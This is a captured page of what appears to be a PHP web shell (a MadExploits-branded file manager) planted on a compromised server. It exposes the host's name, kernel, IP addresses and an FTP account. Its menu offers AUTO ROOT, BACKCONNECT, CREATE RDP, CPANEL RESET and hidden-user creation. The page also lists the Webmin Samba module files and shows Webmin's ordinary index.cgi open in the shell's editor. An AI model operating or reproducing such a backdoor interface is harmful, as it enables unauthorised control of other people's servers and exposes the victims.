Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
samba /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
2.06
KB
-rw-r--r--
acl_security.pl
12.76
KB
-rwxr-xr-x
ask_epass.cgi
1.46
KB
-rwxr-xr-x
backup_config.pl
752
B
-rwxr-xr-x
cgi_args.pl
1012
B
-rwxr-xr-x
conf_bind.cgi
1.56
KB
-rwxr-xr-x
conf_misc.cgi
2.05
KB
-rwxr-xr-x
conf_net.cgi
2.6
KB
-rwxr-xr-x
conf_pass.cgi
2.36
KB
-rwxr-xr-x
conf_print.cgi
1.17
KB
-rwxr-xr-x
conf_smb.cgi
3.75
KB
-rwxr-xr-x
config-AlmaLinux-7.0-ALL
533
B
-rw-r--r--
config-Amazon-Linux-2-ALL
488
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
533
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
533
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
533
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
488
B
-rw-r--r--
config-Rocky-Linux-7.0-ALL
533
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
488
B
-rw-r--r--
config-aix
539
B
-rw-r--r--
config-cobalt-linux
418
B
-rw-r--r--
config-coherent-linux
502
B
-rw-r--r--
config-corel-linux
405
B
-rw-r--r--
config-debian-linux
427
B
-rw-r--r--
config-debian-linux-2.1
405
B
-rw-r--r--
config-debian-linux-2.2-7.9
690
B
-rw-r--r--
config-debian-linux-8.0-ALL
578
B
-rw-r--r--
config-freebsd
721
B
-rw-r--r--
config-freebsd-8-ALL
813
B
-rw-r--r--
config-generic-linux
547
B
-rw-r--r--
config-gentoo-linux
545
B
-rw-r--r--
config-hpux
574
B
-rw-r--r--
config-irix
593
B
-rw-r--r--
config-lfs-linux
418
B
-rw-r--r--
config-macos
621
B
-rw-r--r--
config-macos-1.5-ALL
517
B
-rw-r--r--
config-mandrake-linux
476
B
-rw-r--r--
config-mandrake-linux-8.1-ALL
484
B
-rw-r--r--
config-msc-linux
480
B
-rw-r--r--
config-netbsd
642
B
-rw-r--r--
config-open-linux
482
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
519
B
-rw-r--r--
config-openbsd
647
B
-rw-r--r--
config-openmamba-linux
496
B
-rw-r--r--
config-openserver
593
B
-rw-r--r--
config-osf1
593
B
-rw-r--r--
config-pardus-linux
403
B
-rw-r--r--
config-redhat-linux
490
B
-rw-r--r--
config-redhat-linux-10.0-15.0
502
B
-rw-r--r--
config-redhat-linux-16.0-23.0
559
B
-rw-r--r--
config-redhat-linux-24.0-ALL
563
B
-rw-r--r--
config-redhat-linux-7.0-9.0
502
B
-rw-r--r--
config-slackware-linux
452
B
-rw-r--r--
config-slackware-linux-7.0-7.1
470
B
-rw-r--r--
config-slackware-linux-8.0-ALL
533
B
-rw-r--r--
config-sol-linux
528
B
-rw-r--r--
config-solaris
593
B
-rw-r--r--
config-solaris-10-ALL
461
B
-rw-r--r--
config-solaris-8-9
533
B
-rw-r--r--
config-suse-linux
452
B
-rw-r--r--
config-suse-linux-13.0-ALL
494
B
-rw-r--r--
config-suse-linux-7.3-8.0
470
B
-rw-r--r--
config-suse-linux-8.2-12.9
545
B
-rw-r--r--
config-syno-linux
293
B
-rw-r--r--
config-trustix-linux
492
B
-rw-r--r--
config-turbo-linux
418
B
-rw-r--r--
config-united-linux
492
B
-rw-r--r--
config-unixware
593
B
-rw-r--r--
config.info
918
B
-rw-r--r--
config.info.bg
1.54
KB
-rw-r--r--
config.info.ca
1.02
KB
-rw-r--r--
config.info.cs
746
B
-rw-r--r--
config.info.da
991
B
-rw-r--r--
config.info.de
1.15
KB
-rw-r--r--
config.info.es
880
B
-rw-r--r--
config.info.fa
1.09
KB
-rw-r--r--
config.info.fr
940
B
-rw-r--r--
config.info.ja
834
B
-rw-r--r--
config.info.nl
953
B
-rw-r--r--
config.info.no
975
B
-rw-r--r--
config.info.pl
1.08
KB
-rw-r--r--
config.info.pt_BR
869
B
-rw-r--r--
config.info.ru
891
B
-rw-r--r--
config.info.ru.UTF-8
887
B
-rw-r--r--
config.info.sv
638
B
-rw-r--r--
config.info.tr
442
B
-rw-r--r--
config.info.uk
939
B
-rw-r--r--
config.info.zh
510
B
-rw-r--r--
config.info.zh_TW
748
B
-rw-r--r--
create_copy.cgi
735
B
-rwxr-xr-x
defaultacl
369
B
-rw-r--r--
delete_euser.cgi
464
B
-rwxr-xr-x
delete_share.cgi
632
B
-rwxr-xr-x
delete_shares.cgi
607
B
-rwxr-xr-x
edit_epass.cgi
880
B
-rwxr-xr-x
edit_euser.cgi
2.59
KB
-rwxr-xr-x
edit_fmisc.cgi
2.21
KB
-rwxr-xr-x
edit_fname.cgi
1.74
KB
-rwxr-xr-x
edit_fperm.cgi
1.85
KB
-rwxr-xr-x
edit_fshare.cgi
3.2
KB
-rwxr-xr-x
edit_group.cgi
1.82
KB
-rwxr-xr-x
edit_gsync.cgi
1.08
KB
-rwxr-xr-x
edit_manual.cgi
583
B
-rwxr-xr-x
edit_popts.cgi
1.82
KB
-rwxr-xr-x
edit_pshare.cgi
3.27
KB
-rwxr-xr-x
edit_sec.cgi
3.06
KB
-rwxr-xr-x
edit_sync.cgi
1.23
KB
-rwxr-xr-x
edit_winbind.cgi
800
B
-rwxr-xr-x
index.cgi
9.34
KB
-rwxr-xr-x
install_check.pl
365
B
-rwxr-xr-x
kill_user.cgi
719
B
-rwxr-xr-x
kill_users.cgi
783
B
-rwxr-xr-x
list_groups.cgi
1.11
KB
-rwxr-xr-x
log_parser.pl
1.78
KB
-rwxr-xr-x
logout.cgi
305
B
-rwxr-xr-x
make_epass.cgi
4.24
KB
-rwxr-xr-x
module.info
246
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
117
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
165
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
179
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
212
B
-rw-r--r--
module.info.ca
104
B
-rw-r--r--
module.info.ca.auto
24
B
-rw-r--r--
module.info.cs
47
B
-rw-r--r--
module.info.cs.auto
104
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
114
B
-rw-r--r--
module.info.de
106
B
-rw-r--r--
module.info.de.auto
22
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
264
B
-rw-r--r--
module.info.es
60
B
-rw-r--r--
module.info.es.auto
100
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
143
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
180
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
130
B
-rw-r--r--
module.info.fr
47
B
-rw-r--r--
module.info.fr.auto
96
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
145
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
144
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
158
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
124
B
-rw-r--r--
module.info.ja
41
B
-rw-r--r--
module.info.ja.auto
119
B
-rw-r--r--
module.info.ko
39
B
-rw-r--r--
module.info.ko.auto
107
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
157
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
149
B
-rw-r--r--
module.info.ms
104
B
-rw-r--r--
module.info.ms.auto
23
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
120
B
-rw-r--r--
module.info.nl
34
B
-rw-r--r--
module.info.nl.auto
88
B
-rw-r--r--
module.info.no
32
B
-rw-r--r--
module.info.no.auto
82
B
-rw-r--r--
module.info.pl
125
B
-rw-r--r--
module.info.pl.auto
24
B
-rw-r--r--
module.info.pt
51
B
-rw-r--r--
module.info.pt.auto
98
B
-rw-r--r--
module.info.pt_BR
60
B
-rw-r--r--
module.info.pt_BR.auto
104
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
141
B
-rw-r--r--
module.info.ru
36
B
-rw-r--r--
module.info.ru.auto
151
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
136
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
138
B
-rw-r--r--
module.info.sv
29
B
-rw-r--r--
module.info.sv.auto
88
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
235
B
-rw-r--r--
module.info.tr
41
B
-rw-r--r--
module.info.tr.auto
115
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
226
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
207
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
133
B
-rw-r--r--
module.info.zh
35
B
-rw-r--r--
module.info.zh.auto
78
B
-rw-r--r--
module.info.zh_TW
36
B
-rw-r--r--
module.info.zh_TW.auto
84
B
-rw-r--r--
opts.pl.dev
6.37
KB
-rw-r--r--
prefs.info
17
B
-rw-r--r--
rbac-mapping
457
B
-rw-r--r--
readonly-share.pl
477
B
-rwxr-xr-x
readwrite-share.pl
481
B
-rwxr-xr-x
restart.cgi
1.33
KB
-rwxr-xr-x
restart_wb.cgi
816
B
-rwxr-xr-x
samba-lib.pl
25.98
KB
-rwxr-xr-x
save_bind.cgi
1.34
KB
-rwxr-xr-x
save_copy.cgi
711
B
-rwxr-xr-x
save_euser.cgi
1.62
KB
-rwxr-xr-x
save_fmisc.cgi
1.37
KB
-rwxr-xr-x
save_fname.cgi
1012
B
-rwxr-xr-x
save_fperm.cgi
1.13
KB
-rwxr-xr-x
save_fshare.cgi
2.63
KB
-rwxr-xr-x
save_group.cgi
1.2
KB
-rwxr-xr-x
save_gsync.cgi
522
B
-rwxr-xr-x
save_manual.cgi
395
B
-rwxr-xr-x
save_misc.cgi
2.05
KB
-rwxr-xr-x
save_net.cgi
1.75
KB
-rwxr-xr-x
save_pass.cgi
2.17
KB
-rwxr-xr-x
save_popts.cgi
1.2
KB
-rwxr-xr-x
save_print.cgi
916
B
-rwxr-xr-x
save_pshare.cgi
2.22
KB
-rwxr-xr-x
save_sec.cgi
2.14
KB
-rwxr-xr-x
save_smb.cgi
2.21
KB
-rwxr-xr-x
save_sync.cgi
691
B
-rwxr-xr-x
save_winbind.cgi
902
B
-rwxr-xr-x
set-hostname-workgroup.pl
737
B
-rwxr-xr-x
smbhash.pl
17.88
KB
-rwxr-xr-x
start.cgi
748
B
-rwxr-xr-x
start_wb.cgi
621
B
-rwxr-xr-x
stop.cgi
492
B
-rwxr-xr-x
stop_wb.cgi
422
B
-rwxr-xr-x
swat.cgi
3.17
KB
-rwxr-xr-x
swat_save.cgi
515
B
-rwxr-xr-x
useradmin_update.pl
4.69
KB
-rwxr-xr-x
view_users.cgi
3.04
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.cgi
#!/usr/bin/perl # index.cgi # Display a list of available samba shares. Special shares (like [homes] and # [printers]) are included as well. require './samba-lib.pl'; # Check for Samba executable if (!-x $config{'samba_server'}) { &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1, 0, &help_search_link("samba", "man", "doc", "google")); print &text('error_nosamba', $config{'samba_server'}, "@{[&get_webprefix()]}/config.cgi?$module_name"),"<p>\n"; &foreign_require("software", "software-lib.pl"); $lnk = &software::missing_install_link("samba", $text{'index_samba'}, "../$module_name/", $text{'index_title'}); print $lnk,"<p>\n" if ($lnk); &ui_print_footer("/", $text{'index'}); exit; } # Check the samba version if ($samba_version = &get_samba_version(\$out, 0)) { # Save version number &open_tempfile(VERSION, ">$module_config_directory/version"); &print_tempfile(VERSION, $samba_version,"\n"); &close_tempfile(VERSION); } else { &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1, 0, &help_search_link("samba", "man", "doc", "google")); print &text('error_version', $config{'samba_server'}, "@{[&get_webprefix()]}/config.cgi?$module_name"),"<p>\n"; print "<pre>$out</pre>\n"; &ui_print_footer("/", $text{'index'}); exit; } &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1, 0, &help_search_link("samba", "man", "doc", "google"), undef, undef, &text('index_version', &get_samba_version(\$out, 1))); @empty = &list_shares(); if (!@empty && (-r $config{alt_smb_conf})) { # Copy the sample smb.conf file to the real location # This is a hack for slackware system("cp $config{alt_smb_conf} $config{smb_conf} >/dev/null 2>&1"); } if (!(-r $config{smb_conf})) { print &text('error_config', $config{'smb_conf'}, "@{[&get_webprefix()]}/config.cgi?$module_name"); print "<p>\n"; &ui_print_footer("/", $text{'index'}); exit; } # Check for 'config' or 'include' directives &get_share("global"); if (&getval("config") || &getval("include")) { print &text('index_einclude', "<tt>$config{'smb_conf'}</tt>", "<tt>config</tt>", "<tt>include</tt>"),"<p>\n"; } # Work out links for adding things @links = ( ); push(@links, "<a href=edit_fshare.cgi>$text{'index_createfileshare'}</a>") if ($access{'c_fs'}); push(@links, "<a href=edit_pshare.cgi>$text{'index_createprnshare'}</a>") if ($access{'c_ps'}); push(@links, "<a href=create_copy.cgi>$text{'index_createcopy'}</a>") if ($access{'copy'}); push(@links, "<a href=view_users.cgi>$text{'index_view'}</a>") if ($access{'view_all_con'}); foreach $s (&list_shares()) { next unless &can('r', \%access, $s) || !$access{'hide'}; $us = "share=".&urlize($s); if ($s eq "global") { next; } if (!$donefirst) { # Show headers @tds = ( "width=5" ); print &ui_form_start("delete_shares.cgi", "post"); unshift(@links, &select_all_link("d"), &select_invert_link("d")); print &ui_links_row(\@links); print &ui_columns_start([ "", $text{'index_sharename'}, $text{'index_path'}, $text{'index_security'} ], 100, 0, \@tds); $donefirst = 1; } # Show share details &get_share($s); local @cols; if ($cp = &getval("copy")) { $cp = "(copy of <i>$cp</i>)"; } if (&istrue("printable")) { push(@cols, "<a href=\"edit_pshare.cgi?$us\">". &html_escape($s)."</a> $cp"); } else { push(@cols, "<a href=\"edit_fshare.cgi?$us\">". &html_escape($s)."</a> $cp"); } # Output location / path info if ($s eq "homes") { $p = "<i>$text{'index_homedir'}</i>"; } elsif ($s eq "printers") { $p = "<i>$text{'index_allprinter'}</i>"; } elsif (&istrue("printable")) { $p = &getval("printer") ? $text{'index_printer'}." ".&html_escape(&getval("printer")) : $text{'index_defaultprn'}; } else { $p = &html_escape(&getval("path")); } push(@cols, $p); # Output security information if (&istrue("printable")) { if (&getval("valid users")) { # Only accessible to some users.. $sc = $text{'index_printableto'}." ". &user_list(&getval("valid users")); } elsif (&istrue("public")) { # Accessible to everyone $sc = $text{'index_prneveryone'}; } else { $sc = $text{'index_prnalluser'}; } } elsif (&istrue("writable")) { # Default is read/write access if (&istrue("public")) { # No password needed.. $sc = $text{'index_rwpublic'}; } else { # Password needed.. if (&getval("read list")) { $sc = &text('index_readonly', &user_list(&getval("read list"))); } else { $sc = $text{'index_rwalluser'}; } } } else { # Default is read-only access if (&istrue("public")) { # No password needed.. $sc = $text{'index_roeveryone'}; } else { # Password needed.. if (&getval("write list")) { $sc = &text('index_readwrite', &user_list(&getval("write list"))); } else { $sc = $text{'index_roalluser'}; } } } push(@cols, $sc); print &ui_checked_columns_row(\@cols, \@tds, "d", $s); } if ($donefirst) { print &ui_columns_end(); } else { print "<b>$text{'index_noshares'}</b>. <p>\n"; } print &ui_links_row(\@links); if ($donefirst) { print &ui_form_end([ [ "delete", $text{'index_delete'} ] ]); } # Generate table of accessible global configuration icons if ($access{'conf_net'}) { push(@gc_progs, "conf_net.cgi"); push(@gc_names, $text{'global_unixnetwork'}); push(@gc_icons, "images/icon_0.gif"); } if ($access{'conf_smb'}) { push(@gc_progs, "conf_smb.cgi"); push(@gc_names, $text{'global_winnetwork'}); push(@gc_icons, "images/icon_1.gif"); } if ($access{'conf_pass'}) { push(@gc_progs, "conf_pass.cgi"); push(@gc_names, $text{'global_auth'}); push(@gc_icons, "images/icon_2.gif"); } if ($access{'conf_print'}) { push(@gc_progs, "conf_print.cgi"); push(@gc_names, $text{'global_printing'}); push(@gc_icons, "images/icon_3.gif"); } if ($access{'conf_misc'}) { push(@gc_progs, "conf_misc.cgi"); push(@gc_names, $text{'global_misc'}); push(@gc_icons, "images/icon_4.gif"); } if ($access{'conf_bind'}) { push(@gc_progs, "conf_bind.cgi"); push(@gc_names, $text{'global_bind'}); push(@gc_icons, "images/icon_10.gif"); } if ($access{'conf_fs'}) { push(@gc_progs, "edit_fshare.cgi?share=global"); push(@gc_names, $text{'global_filedefault'}); push(@gc_icons, "images/icon_5.gif"); } if ($access{'conf_ps'}) { push(@gc_progs, "edit_pshare.cgi?share=global"); push(@gc_names, $text{'global_prndefault'}); push(@gc_icons, "images/icon_6.gif"); } if ($access{'manual'}) { push(@gc_progs, "edit_manual.cgi"); push(@gc_names, $text{'manual_title'}); push(@gc_icons, "images/manual.gif"); } if (&has_command($config{'swat_path'})) { push(@gc_progs, "swat.cgi"); push(@gc_names, $text{'swat_title'}); push(@gc_icons, "images/icon_9.gif"); } if (@gc_progs) { print &ui_hr(); print &ui_subheading($text{'global_title'}); &icons_table(\@gc_progs, \@gc_names, \@gc_icons, 4); } # Generate table of accessible user and group editing icons if ($access{'view_users'}) { push(@utitles, $text{'smbuser_title'}); push(@ulinks, "edit_epass.cgi"); push(@uicons, "images/editepass.gif"); } if ($access{'maint_makepass'}) { push(@utitles, $text{'convert_title'}); push(@ulinks, "ask_epass.cgi"); push(@uicons, "images/askepass.gif"); } if ($access{'maint_sync'}) { push(@utitles, $text{'esync_title'}); push(@ulinks, "edit_sync.cgi"); push(@uicons, "images/editsync.gif"); } if ($samba_version >= 3) { if ($access{'maint_groups'}) { push(@utitles, $text{'groups_title'}); push(@ulinks, "list_groups.cgi"); push(@uicons, "images/listgroups.gif"); } if ($access{'maint_gsync'}) { push(@utitles, $text{'gsync_title'}); push(@ulinks, "edit_gsync.cgi"); push(@uicons, "images/editgsync.gif"); } if ($access{'winbind'} && $has_net) { push(@utitles, $text{'winbind_title'}); push(@ulinks, "edit_winbind.cgi"); push(@uicons, "images/winbind.gif"); } } if (@utitles) { # We have some icons to show print &ui_hr(); print &ui_subheading($text{'global_users'}); &icons_table(\@ulinks, \@utitles, \@uicons, 4); } if ($access{'apply'}) { $isrun = &is_samba_running(); print &ui_hr(); print &ui_buttons_start(); if ($isrun == 0) { # Start button print &ui_buttons_row("start.cgi", $text{'index_start'}, $text{'index_startmsg'}); } elsif ($isrun == 1) { # Restart / stop buttons print &ui_buttons_row("restart.cgi", $text{'index_restart'}, $text{'index_restartmsg'}."\n". $text{'index_restartmsg2'}); print &ui_buttons_row("stop.cgi", $text{'index_stop'}, $text{'index_stopmsg'}); } print &ui_buttons_end(); if (&has_command("winbindd")) { $isrun2 = &is_winbind_running(); print &ui_hr(); print &ui_buttons_start(); if ($isrun2 == 0) { # Start button print &ui_buttons_row("start_wb.cgi", $text{'index_start_wb'}, $text{'index_startmsg_wb'}); } elsif ($isrun2 == 1) { # Restart / stop buttons print &ui_buttons_row("restart_wb.cgi", $text{'index_restart_wb'}, $text{'index_restartmsg_wb'}); print &ui_buttons_row("stop_wb.cgi", $text{'index_stop_wb'}, $text{'index_stopmsg_wb'}); } } print &ui_buttons_end(); } &ui_print_footer("/", $text{'index'});
Close